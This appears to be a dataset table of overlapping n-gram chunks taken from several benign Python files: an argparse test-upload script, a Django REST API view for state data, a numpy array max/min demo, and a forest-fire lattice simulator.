ngram
listlengths 0
67.8k
|
|---|
[
"with test files') parser.add_argument('ns_package_path', help='The path to the network service package') parser.add_argument('-t', '--test_package_path',",
"help='The path to the network service package') parser.add_argument('-t', '--test_package_path', help='The path to generated",
"argparse.ArgumentParser(description='Prepare tests for uploading to the V&V platform.') parser.add_argument('tests_path', help='The path to the",
"to the network service package') parser.add_argument('-t', '--test_package_path', help='The path to generated output folder')",
"V&V platform.') parser.add_argument('tests_path', help='The path to the directory with test files') parser.add_argument('ns_package_path', help='The",
"parser.add_argument('tests_path', help='The path to the directory with test files') parser.add_argument('ns_package_path', help='The path to",
"'__main__': parser = argparse.ArgumentParser(description='Prepare tests for uploading to the V&V platform.') parser.add_argument('tests_path', help='The",
"files') parser.add_argument('ns_package_path', help='The path to the network service package') parser.add_argument('-t', '--test_package_path', help='The path",
"create_vnv_test if __name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare tests for uploading to the",
"to the V&V platform.') parser.add_argument('tests_path', help='The path to the directory with test files')",
"service package') parser.add_argument('-t', '--test_package_path', help='The path to generated output folder') parser.add_argument('-p', '--probe_name', help='Probe",
"path to generated output folder') parser.add_argument('-p', '--probe_name', help='Probe name') args = parser.parse_args() create_vnv_test(**vars(args))",
"package') parser.add_argument('-t', '--test_package_path', help='The path to generated output folder') parser.add_argument('-p', '--probe_name', help='Probe name')",
"the network service package') parser.add_argument('-t', '--test_package_path', help='The path to generated output folder') parser.add_argument('-p',",
"the directory with test files') parser.add_argument('ns_package_path', help='The path to the network service package')",
"to the directory with test files') parser.add_argument('ns_package_path', help='The path to the network service",
"uploading to the V&V platform.') parser.add_argument('tests_path', help='The path to the directory with test",
"import create_vnv_test if __name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare tests for uploading to",
"= argparse.ArgumentParser(description='Prepare tests for uploading to the V&V platform.') parser.add_argument('tests_path', help='The path to",
"test files') parser.add_argument('ns_package_path', help='The path to the network service package') parser.add_argument('-t', '--test_package_path', help='The",
"from tangotest.tangotools import create_vnv_test if __name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare tests for",
"tests for uploading to the V&V platform.') parser.add_argument('tests_path', help='The path to the directory",
"tangotest.tangotools import create_vnv_test if __name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare tests for uploading",
"the V&V platform.') parser.add_argument('tests_path', help='The path to the directory with test files') parser.add_argument('ns_package_path',",
"help='The path to the directory with test files') parser.add_argument('ns_package_path', help='The path to the",
"path to the directory with test files') parser.add_argument('ns_package_path', help='The path to the network",
"help='The path to generated output folder') parser.add_argument('-p', '--probe_name', help='Probe name') args = parser.parse_args()",
"== '__main__': parser = argparse.ArgumentParser(description='Prepare tests for uploading to the V&V platform.') parser.add_argument('tests_path',",
"path to the network service package') parser.add_argument('-t', '--test_package_path', help='The path to generated output",
"parser = argparse.ArgumentParser(description='Prepare tests for uploading to the V&V platform.') parser.add_argument('tests_path', help='The path",
"import argparse from tangotest.tangotools import create_vnv_test if __name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare",
"__name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare tests for uploading to the V&V platform.')",
"argparse from tangotest.tangotools import create_vnv_test if __name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare tests",
"for uploading to the V&V platform.') parser.add_argument('tests_path', help='The path to the directory with",
"parser.add_argument('ns_package_path', help='The path to the network service package') parser.add_argument('-t', '--test_package_path', help='The path to",
"platform.') parser.add_argument('tests_path', help='The path to the directory with test files') parser.add_argument('ns_package_path', help='The path",
"network service package') parser.add_argument('-t', '--test_package_path', help='The path to generated output folder') parser.add_argument('-p', '--probe_name',",
"parser.add_argument('-t', '--test_package_path', help='The path to generated output folder') parser.add_argument('-p', '--probe_name', help='Probe name') args",
"directory with test files') parser.add_argument('ns_package_path', help='The path to the network service package') parser.add_argument('-t',",
"if __name__ == '__main__': parser = argparse.ArgumentParser(description='Prepare tests for uploading to the V&V",
"'--test_package_path', help='The path to generated output folder') parser.add_argument('-p', '--probe_name', help='Probe name') args ="
] |
[
"viewsets from rest_framework.generics import get_object_or_404 from rest_framework.views import APIView from rest_framework.response import Response",
"StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView): @staticmethod def get(request, id): state = get_object_or_404(Data,",
"get_object_or_404(Data, pk=id) data = StateSerializer(state).data return Response(data) class StateViewSet(viewsets.ModelViewSet): queryset = Data.objects.all() serializer_class",
"rest_framework import generics, viewsets from rest_framework.generics import get_object_or_404 from rest_framework.views import APIView from",
"CaseSerializer class StateList(APIView): @staticmethod def get(request): states = Data.objects.all() data = StateSerializer(states, many=True).data",
"rest_framework.response import Response from .models import Data from .serializers import StateSerializer # CaseSerializer",
"APIView from rest_framework.response import Response from .models import Data from .serializers import StateSerializer",
"def get(request, id): state = get_object_or_404(Data, pk=id) data = StateSerializer(state).data return Response(data) class",
"import Data from .serializers import StateSerializer # CaseSerializer class StateList(APIView): @staticmethod def get(request):",
"Data.objects.all() data = StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView): @staticmethod def get(request, id):",
"state = get_object_or_404(Data, pk=id) data = StateSerializer(state).data return Response(data) class StateViewSet(viewsets.ModelViewSet): queryset =",
"<reponame>Mastersam07/ncovid-19-api<gh_stars>10-100 from rest_framework import generics, viewsets from rest_framework.generics import get_object_or_404 from rest_framework.views import",
"import get_object_or_404 from rest_framework.views import APIView from rest_framework.response import Response from .models import",
"from rest_framework import generics, viewsets from rest_framework.generics import get_object_or_404 from rest_framework.views import APIView",
"Response from .models import Data from .serializers import StateSerializer # CaseSerializer class StateList(APIView):",
"from .models import Data from .serializers import StateSerializer # CaseSerializer class StateList(APIView): @staticmethod",
"class StateList(APIView): @staticmethod def get(request): states = Data.objects.all() data = StateSerializer(states, many=True).data return",
"get_object_or_404 from rest_framework.views import APIView from rest_framework.response import Response from .models import Data",
"= StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView): @staticmethod def get(request, id): state =",
"many=True).data return Response(data) class StateDetail(APIView): @staticmethod def get(request, id): state = get_object_or_404(Data, pk=id)",
".serializers import StateSerializer # CaseSerializer class StateList(APIView): @staticmethod def get(request): states = Data.objects.all()",
"StateList(APIView): @staticmethod def get(request): states = Data.objects.all() data = StateSerializer(states, many=True).data return Response(data)",
"data = StateSerializer(state).data return Response(data) class StateViewSet(viewsets.ModelViewSet): queryset = Data.objects.all() serializer_class = StateSerializer",
"Response(data) class StateDetail(APIView): @staticmethod def get(request, id): state = get_object_or_404(Data, pk=id) data =",
"Data from .serializers import StateSerializer # CaseSerializer class StateList(APIView): @staticmethod def get(request): states",
"@staticmethod def get(request): states = Data.objects.all() data = StateSerializer(states, many=True).data return Response(data) class",
"from .serializers import StateSerializer # CaseSerializer class StateList(APIView): @staticmethod def get(request): states =",
"id): state = get_object_or_404(Data, pk=id) data = StateSerializer(state).data return Response(data) class StateViewSet(viewsets.ModelViewSet): queryset",
"import generics, viewsets from rest_framework.generics import get_object_or_404 from rest_framework.views import APIView from rest_framework.response",
"states = Data.objects.all() data = StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView): @staticmethod def",
"StateDetail(APIView): @staticmethod def get(request, id): state = get_object_or_404(Data, pk=id) data = StateSerializer(state).data return",
"import StateSerializer # CaseSerializer class StateList(APIView): @staticmethod def get(request): states = Data.objects.all() data",
"generics, viewsets from rest_framework.generics import get_object_or_404 from rest_framework.views import APIView from rest_framework.response import",
"from rest_framework.response import Response from .models import Data from .serializers import StateSerializer #",
".models import Data from .serializers import StateSerializer # CaseSerializer class StateList(APIView): @staticmethod def",
"def get(request): states = Data.objects.all() data = StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView):",
"= Data.objects.all() data = StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView): @staticmethod def get(request,",
"@staticmethod def get(request, id): state = get_object_or_404(Data, pk=id) data = StateSerializer(state).data return Response(data)",
"pk=id) data = StateSerializer(state).data return Response(data) class StateViewSet(viewsets.ModelViewSet): queryset = Data.objects.all() serializer_class =",
"data = StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView): @staticmethod def get(request, id): state",
"StateSerializer # CaseSerializer class StateList(APIView): @staticmethod def get(request): states = Data.objects.all() data =",
"import APIView from rest_framework.response import Response from .models import Data from .serializers import",
"get(request): states = Data.objects.all() data = StateSerializer(states, many=True).data return Response(data) class StateDetail(APIView): @staticmethod",
"# CaseSerializer class StateList(APIView): @staticmethod def get(request): states = Data.objects.all() data = StateSerializer(states,",
"class StateDetail(APIView): @staticmethod def get(request, id): state = get_object_or_404(Data, pk=id) data = StateSerializer(state).data",
"= get_object_or_404(Data, pk=id) data = StateSerializer(state).data return Response(data) class StateViewSet(viewsets.ModelViewSet): queryset = Data.objects.all()",
"from rest_framework.views import APIView from rest_framework.response import Response from .models import Data from",
"get(request, id): state = get_object_or_404(Data, pk=id) data = StateSerializer(state).data return Response(data) class StateViewSet(viewsets.ModelViewSet):",
"rest_framework.views import APIView from rest_framework.response import Response from .models import Data from .serializers",
"import Response from .models import Data from .serializers import StateSerializer # CaseSerializer class",
"rest_framework.generics import get_object_or_404 from rest_framework.views import APIView from rest_framework.response import Response from .models",
"return Response(data) class StateDetail(APIView): @staticmethod def get(request, id): state = get_object_or_404(Data, pk=id) data",
"from rest_framework.generics import get_object_or_404 from rest_framework.views import APIView from rest_framework.response import Response from"
] |
[
"0)) # ============================================================================= # #ouptut: # Largest element is: 9 # Row-wise maximum",
"6], [4, 7, 2], [3, 1, 9]]) # maximum element of array print",
"element of array print (\"Largest element is:\", arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis",
"# Row-wise maximum elements: [6 7 9] # Column-wise minimum elements: [1 1",
"\"\"\" import numpy as np arr = np.array([[1, 5, 6], [4, 7, 2],",
"25 14:33:03 2019 @author: Parikshith.H \"\"\" import numpy as np arr = np.array([[1,",
"1)) # minimum element of array print (\"Column-wise minimum elements:\", arr.min(axis = 0))",
"9]]) # maximum element of array print (\"Largest element is:\", arr.max()) print (\"Row-wise",
"on Wed Jun 25 14:33:03 2019 @author: Parikshith.H \"\"\" import numpy as np",
"2019 @author: Parikshith.H \"\"\" import numpy as np arr = np.array([[1, 5, 6],",
"numpy as np arr = np.array([[1, 5, 6], [4, 7, 2], [3, 1,",
"of array print (\"Largest element is:\", arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis =",
"print (\"Largest element is:\", arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis = 1)) #",
"# ============================================================================= # #ouptut: # Largest element is: 9 # Row-wise maximum elements:",
"utf-8 -*- \"\"\" Created on Wed Jun 25 14:33:03 2019 @author: Parikshith.H \"\"\"",
"# maximum element of array print (\"Largest element is:\", arr.max()) print (\"Row-wise maximum",
"print (\"Row-wise maximum elements:\", arr.max(axis = 1)) # minimum element of array print",
"Jun 25 14:33:03 2019 @author: Parikshith.H \"\"\" import numpy as np arr =",
"maximum elements:\", arr.max(axis = 1)) # minimum element of array print (\"Column-wise minimum",
"elements:\", arr.min(axis = 0)) # ============================================================================= # #ouptut: # Largest element is: 9",
"(\"Column-wise minimum elements:\", arr.min(axis = 0)) # ============================================================================= # #ouptut: # Largest element",
"# #ouptut: # Largest element is: 9 # Row-wise maximum elements: [6 7",
"is: 9 # Row-wise maximum elements: [6 7 9] # Column-wise minimum elements:",
"element of array print (\"Column-wise minimum elements:\", arr.min(axis = 0)) # ============================================================================= #",
"elements:\", arr.max(axis = 1)) # minimum element of array print (\"Column-wise minimum elements:\",",
"(\"Row-wise maximum elements:\", arr.max(axis = 1)) # minimum element of array print (\"Column-wise",
"print (\"Column-wise minimum elements:\", arr.min(axis = 0)) # ============================================================================= # #ouptut: # Largest",
"element is:\", arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis = 1)) # minimum element",
"arr = np.array([[1, 5, 6], [4, 7, 2], [3, 1, 9]]) # maximum",
"2], [3, 1, 9]]) # maximum element of array print (\"Largest element is:\",",
"Wed Jun 25 14:33:03 2019 @author: Parikshith.H \"\"\" import numpy as np arr",
"[3, 1, 9]]) # maximum element of array print (\"Largest element is:\", arr.max())",
"# -*- coding: utf-8 -*- \"\"\" Created on Wed Jun 25 14:33:03 2019",
"\"\"\" Created on Wed Jun 25 14:33:03 2019 @author: Parikshith.H \"\"\" import numpy",
"= np.array([[1, 5, 6], [4, 7, 2], [3, 1, 9]]) # maximum element",
"# minimum element of array print (\"Column-wise minimum elements:\", arr.min(axis = 0)) #",
"<gh_stars>0 # -*- coding: utf-8 -*- \"\"\" Created on Wed Jun 25 14:33:03",
"element is: 9 # Row-wise maximum elements: [6 7 9] # Column-wise minimum",
"-*- coding: utf-8 -*- \"\"\" Created on Wed Jun 25 14:33:03 2019 @author:",
"-*- \"\"\" Created on Wed Jun 25 14:33:03 2019 @author: Parikshith.H \"\"\" import",
"as np arr = np.array([[1, 5, 6], [4, 7, 2], [3, 1, 9]])",
"7, 2], [3, 1, 9]]) # maximum element of array print (\"Largest element",
"is:\", arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis = 1)) # minimum element of",
"maximum elements: [6 7 9] # Column-wise minimum elements: [1 1 2] #",
"#ouptut: # Largest element is: 9 # Row-wise maximum elements: [6 7 9]",
"np.array([[1, 5, 6], [4, 7, 2], [3, 1, 9]]) # maximum element of",
"arr.min(axis = 0)) # ============================================================================= # #ouptut: # Largest element is: 9 #",
"============================================================================= # #ouptut: # Largest element is: 9 # Row-wise maximum elements: [6",
"5, 6], [4, 7, 2], [3, 1, 9]]) # maximum element of array",
"array print (\"Largest element is:\", arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis = 1))",
"import numpy as np arr = np.array([[1, 5, 6], [4, 7, 2], [3,",
"# Largest element is: 9 # Row-wise maximum elements: [6 7 9] #",
"Created on Wed Jun 25 14:33:03 2019 @author: Parikshith.H \"\"\" import numpy as",
"= 0)) # ============================================================================= # #ouptut: # Largest element is: 9 # Row-wise",
"of array print (\"Column-wise minimum elements:\", arr.min(axis = 0)) # ============================================================================= # #ouptut:",
"np arr = np.array([[1, 5, 6], [4, 7, 2], [3, 1, 9]]) #",
"Row-wise maximum elements: [6 7 9] # Column-wise minimum elements: [1 1 2]",
"elements: [6 7 9] # Column-wise minimum elements: [1 1 2] # =============================================================================",
"array print (\"Column-wise minimum elements:\", arr.min(axis = 0)) # ============================================================================= # #ouptut: #",
"Largest element is: 9 # Row-wise maximum elements: [6 7 9] # Column-wise",
"[4, 7, 2], [3, 1, 9]]) # maximum element of array print (\"Largest",
"Parikshith.H \"\"\" import numpy as np arr = np.array([[1, 5, 6], [4, 7,",
"minimum elements:\", arr.min(axis = 0)) # ============================================================================= # #ouptut: # Largest element is:",
"1, 9]]) # maximum element of array print (\"Largest element is:\", arr.max()) print",
"= 1)) # minimum element of array print (\"Column-wise minimum elements:\", arr.min(axis =",
"arr.max(axis = 1)) # minimum element of array print (\"Column-wise minimum elements:\", arr.min(axis",
"9 # Row-wise maximum elements: [6 7 9] # Column-wise minimum elements: [1",
"(\"Largest element is:\", arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis = 1)) # minimum",
"minimum element of array print (\"Column-wise minimum elements:\", arr.min(axis = 0)) # =============================================================================",
"@author: Parikshith.H \"\"\" import numpy as np arr = np.array([[1, 5, 6], [4,",
"coding: utf-8 -*- \"\"\" Created on Wed Jun 25 14:33:03 2019 @author: Parikshith.H",
"arr.max()) print (\"Row-wise maximum elements:\", arr.max(axis = 1)) # minimum element of array",
"14:33:03 2019 @author: Parikshith.H \"\"\" import numpy as np arr = np.array([[1, 5,",
"maximum element of array print (\"Largest element is:\", arr.max()) print (\"Row-wise maximum elements:\","
] |
[
"to its initial configuration. \"\"\" # reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] +=",
"c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other elements are trees else:",
"c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0 <= c-1 < self.dims[1]: self.group[(r,",
"-= 1 self.stats_urban[1] += 1 return def reset(self): \"\"\" Reset the simulation object",
"the simulator one time step. :param control: collection to map (row, col) to",
"< self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0 <= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r,",
"if the current element on fire will extinguish this time step self.group[f].next(self.group, control[f],",
"# assume that the fire cannot spread further this step, # which occurs",
"self.end: print(\"fire extinguished\") return if control is None: control = defaultdict(lambda: (0, 0))",
"# list of (row, col) positions corresponding to elements caught on fire this",
"elements for element in self.group.values(): element.update() # retain elements that are still on",
"Simulator class UrbanForest(Simulator): \"\"\" A simulator for a lattice-based forest with urban elements.",
"c)].neighbors.append((r+1, c)) if 0 <= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0",
"1 self.stats_urban[1] += 1 return # start a 4x4 square of fires at",
"condition if specified if self.initial_fire is not None: self.fires = self.initial_fire for p",
"for u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -=",
"0 <= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0 <= c-1 <",
"control: collection to map (row, col) to control for each Element, which is",
"1 self.stats_urban[3] += 1 do_not_check.append(u) # fire spreading check: # iterate over current",
"self.random_state = np.random.RandomState(self.rng) self.end = False self.early_end = False return def dense_state(self): \"\"\"",
"self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] += 1 do_not_check.append(u) # fire spreading",
"SimpleUrban) and fn in do_not_check: continue self.early_end = False # calculate next state",
"from collections import defaultdict import itertools import numpy as np from simulators.fires.ForestElements import",
"if fn not in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn in",
"0 <= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0 <= r-1 <",
"they are removed from the lattice do_not_check = [] for u in self.urban:",
"step. :param control: collection to map (row, col) to control for each Element,",
"is a group of Trees and SimpleUrban elements self.group = dict() for r",
"self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c))",
"= itertools.product(delta_r, delta_c) for (dr, dc) in deltas: r, c = r_center+dr, c_center+dc",
"\"\"\" Update the simulator one time step. :param control: collection to map (row,",
"\"\"\" Reset the simulation object to its initial configuration. \"\"\" # reset statistics",
"is on fire self.early_end = True # list of (row, col) positions corresponding",
"self.end = False self.early_end = False return def dense_state(self): \"\"\" Creates a representation",
"they will catch on fire checked = [] # calculate next state for",
"do_not_check = [] for u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if",
"if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0]",
"Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1",
"numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0",
"print(\"fire extinguished\") return if control is None: control = defaultdict(lambda: (0, 0)) #",
"if self.group[f].is_on_fire(self.group[f].state)] # add elements that caught on fire self.fires.extend(add) for a in",
"+= 1 self.iter += 1 if not self.fires: self.early_end = True self.end =",
"if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1]",
"the fire cannot spread further this step, # which occurs when no healthy",
"return # start a 4x4 square of fires at center # if forest",
"self.group.values(): element.update() # retain elements that are still on fire self.fires = [f",
"each position (row, col) corresponds to a Tree state \"\"\" return np.array([[self.group[(r, c)].state",
"# LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension,",
"isinstance(dimension, int) else dimension if tree_model == 'exponential': self.alpha = defaultdict(lambda: 0.2763) if",
"if the healthy element catches on fire for f in self.fires: for fn",
"reset to initial condition self.iter = 0 self.fires = [] self._start_fire() self.random_state =",
"fire cannot spread further this step, # which occurs when no healthy Trees",
"= [f for f in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements that caught",
"group of Trees and SimpleUrban elements self.group = dict() for r in range(self.dims[0]):",
"element in self.group.values(): element.reset() # reset to initial condition self.iter = 0 self.fires",
"and sample # to determine if the healthy element catches on fire for",
"UrbanForest(Simulator): \"\"\" A simulator for a lattice-based forest with urban elements. Based on",
"== 'linear': self.alpha = defaultdict(lambda: 0.2) if alpha is None else alpha self.beta",
"if self.dims[0]<4 else [k for k in range(-1, 3)] delta_c = [0] if",
"from simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\" A",
"of (row, col) positions corresponding to elements caught on fire this time step",
"to control for each Element, which is a tuple of (delta_alpha, delta_beta) \"\"\"",
"self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif",
"control is None: control = defaultdict(lambda: (0, 0)) # assume that the fire",
"if 0 <= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0 <= c+1",
"alpha elif tree_model == 'linear': self.alpha = defaultdict(lambda: 0.2) if alpha is None",
"r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0 <= r-1 < self.dims[0]: self.group[(r,",
"c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1 < self.dims[0]:",
"np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4 else [k for k in range(-1, 3)]",
"dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, #",
"deltas = itertools.product(delta_r, delta_c) for (dr, dc) in deltas: r, c = r_center+dr,",
"on fire self.fires = [f for f in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add",
"self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban):",
"dict() for r in range(self.dims[0]): for c in range(self.dims[1]): # urban elements compose",
"a representation of the state of each Tree. :return: 2D numpy array where",
"= False return def dense_state(self): \"\"\" Creates a representation of the state of",
"in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn in do_not_check: continue self.early_end",
"if self.dims[1]<4 else [k for k in range(-1, 3)] deltas = itertools.product(delta_r, delta_c)",
"= np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset elements for element in self.group.values(): element.reset()",
"self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0 <= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1))",
"cannot spread further this step, # which occurs when no healthy Trees have",
"this time step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -=",
"isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -=",
"initial configuration. \"\"\" # reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] -",
"are still on fire self.fires = [f for f in self.fires if self.group[f].is_on_fire(self.group[f].state)]",
"fire this time step add = [] # list of (row, col) positions",
"__init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire,",
"method to specify initial fire locations in the forest. \"\"\" # apply initial",
"1 return def reset(self): \"\"\" Reset the simulation object to its initial configuration.",
"self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start initial fire",
"dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension) if",
"SimpleUrban from simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\" A simulator for a lattice-based",
"# urban elements compose the right-most edge of the lattice if c >=",
"lattice if c >= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r,",
"retain elements that are still on fire self.fires = [f for f in",
"self.group[(r, c)].neighbors.append((r+1, c)) if 0 <= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if",
"catch on fire checked = [] # calculate next state for urban elements",
"fire locations in the forest. \"\"\" # apply initial condition if specified if",
"def __init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng,",
"= (dimension, dimension) if isinstance(dimension, int) else dimension if tree_model == 'exponential': self.alpha",
"self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if the current element on fire will extinguish",
"'exponential': self.alpha = defaultdict(lambda: 0.2763) if alpha is None else alpha elif tree_model",
"c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if",
"control = defaultdict(lambda: (0, 0)) # assume that the fire cannot spread further",
"= np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start initial fire self.iter = 0 self.fires",
"1 self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1",
"-= 1 self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] +=",
"isinstance(self.group[fn], SimpleUrban) and fn in do_not_check: continue self.early_end = False # calculate next",
"simulator. \"\"\" def __init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self,",
"if they will catch on fire checked = [] # calculate next state",
"other elements are trees else: self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r,",
"if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)],",
"-= 1 self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1]",
"defaultdict(lambda: 0.2763) if alpha is None else alpha elif tree_model == 'linear': self.alpha",
"col) to control for each Element, which is a tuple of (delta_alpha, delta_beta)",
"# start a 4x4 square of fires at center # if forest size",
"self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1]",
"1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return def",
"(row, col) corresponds to a Tree state \"\"\" return np.array([[self.group[(r, c)].state for c",
"the current element on fire will extinguish this time step self.group[f].next(self.group, control[f], self.random_state)",
"self.random_state = np.random.RandomState(self.rng) self.urban = [] self.urban_width = urban_width # the forest is",
"Tree): self.stats_trees[1] -= 1 self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1",
"the LatticeForest simulator. \"\"\" def __init__(self, dimension, urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'):",
"= defaultdict(lambda: 0.2) if alpha is None else alpha self.beta = defaultdict(lambda: np.exp(-1/10))",
"c >= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c)",
"self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0 <= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1))",
"self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0",
"initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model)",
"-= 1 self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] +=",
"c)].neighbors.append((r, c+1)) if 0 <= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees =",
"on fire for f in self.fires: for fn in self.group[f].neighbors: if fn not",
"self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban =",
"self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] +=",
"None else alpha elif tree_model == 'linear': self.alpha = defaultdict(lambda: 0.2) if alpha",
"<= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1]",
"c)].state for c in range(self.dims[1])] for r in range(self.dims[0])]) def update(self, control=None): \"\"\"",
"in case they are removed from the lattice do_not_check = [] for u",
